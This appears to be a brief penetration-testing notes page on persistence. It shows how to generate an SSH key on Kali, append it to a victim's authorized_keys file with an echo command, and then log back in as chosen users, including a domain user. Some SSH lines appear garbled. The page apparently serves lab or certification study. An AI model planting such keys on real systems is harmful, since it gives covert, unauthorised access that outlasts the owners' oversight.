Persistence

Insert our public key into a user’s ~/.ssh/authorized_keys file

On Kali:

ssh-keygen

cat the contents of id_rsa.pub

On Victim:

echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys

Now SSH as specific user

ssh -i root [email protected]
ssh -i pete_complyedge [email protected]@192.168.226.164

Dont forget to append domain to username when connecting with SSH as a domain user

Last updated